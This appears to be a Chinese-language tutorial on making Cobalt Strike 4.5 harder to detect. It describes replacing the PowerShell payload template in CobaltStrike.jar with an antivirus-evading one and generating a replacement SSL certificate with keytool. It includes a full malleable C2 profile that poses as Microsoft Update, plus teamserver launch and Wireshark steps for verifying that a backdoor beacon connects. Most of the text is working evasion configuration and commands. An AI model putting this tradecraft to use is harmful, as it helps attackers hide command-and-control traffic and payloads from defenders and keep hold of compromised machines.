本实验使用到的CobaltStrike为4.5版本

前情提要

在使用CobaltStrike生成Payload环节会新建一个监听器,监听器的选择方式其实是对应我们的java文件的

这里提一嘴

其中的java文件,这里的绿色部分就是监听器创建完后的

跟踪到GenericHTTPStagerx86源文件,x86的生成逻辑是根据该bin文件,我们可以交换它和x64部分的内容,生成的payload也交换了

一嘴完了

监听器启动后,选择我们的Payload方式,以powershell为例,对应的文件内容也能找到,在源码中的/resource目录下

对于生成的代码,唯一不同的点在他的%%DATA%%部分,跟踪它,可以找到控制它的内容的文件,var2变量控制的是生成的x86或x64,很明显可以看到他是通过Base64方式加密的DATA,可以换掉此加密来扰乱特征。但是本次实验我们做的更绝,直接替换掉整个模板文件,也就是上图的template.x86.ps1

免杀Powershell-Payload替换

打开CobaltStrike.jar包,找到resource下的template.x86.ps1文件,删除它,换成我们的免杀文件(我用的是上一篇内容的),修改成和其相同的名字。

将修改完的客户端的CobaltStrike.jar上传至服务端,替换掉原来的jar包,接着重新启动CobaltStrike,生成x86的powershell,发现整个内容都被替换了

CS流量特征消除-证书替换

CS会有一个默认的SSL证书,如果不换掉他,很容易就被流量工具识别到,所以我们需要一个新的证书来替换掉他

生成一个新证书,配置密码,记住你所输入的配置

keytool -genkey -alias ssl -keyalg RSA -validity 36500 -keystore ssl.store

迁移到PKCS12标准格式

keytool -importkeystore -srckeystore ssl.store -destkeystore ssl.store -deststoretype pkcs12

自定义一个profile文件,我这里的http-post还有http-get都用的原来CS自带的,根据你设置的内容修改下面下面@还有密码

后面如果想要抓包验证是否成功,请修改http-post或http-get内容

set sample_name "MicrosoftUpdate";
set sleeptime "5000";
# use a ~30s delay between callbacksset jitter "10"; 
# throw in a 10% jitterset useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101Firefox/24.0";
#设置证书,这里伪造微软升级
https-certificate {set CN "@";set O "@";set C "@";set L "@";set OU "@";set ST "@";set validity "@";}
#设置cliet内容和方式
code-signer{set keystore "ssl.store";set password "密码";set alias "ssl";}
http-post {
	# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
	set uri "/submit.php";

	client {
		header "Content-Type" "application/octet-stream";

		# transmit our session identifier as /submit.php?id=[identifier]
		id {
			parameter "id";
		}

		# post our output with no real changes
		output {
			print;
		}
	}

	# The server's response to our HTTP POST
	server {
		header "Content-Type" "text/html";

		# this will just print an empty string, meh...
		output {
			print;
		}
	}
}
# define indicators for an HTTP GET
http-get {
	# Beacon will randomly choose from this pool of URIs
	set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";

	client {
		# base64 encode session metadata and store it in the Cookie header.
		metadata {
			base64;
			header "Cookie";
		}
	}

	server {
		# server should send output with no changes
		header "Content-Type" "application/octet-stream";

		output {
			print;
		}
	}
}

用c2lint验证profile文件,出现以下内容就算成功

/c2.lint 文件名.profile

接着启动CS,提示检测到4.profile导入

./teamserver ip user passwd ./文件名.profile

抓包验证

最开始抓到的包是加密的数据,我们将服务端生成的ssl.store下载到本地,打开wireshark-编辑-首选项-rsa密钥,将它添加进去

创建一个后门上线,用wireshark抓包

其中的数据包出现了abcde.php内容,和我修改的4.profile一样

成功一盘!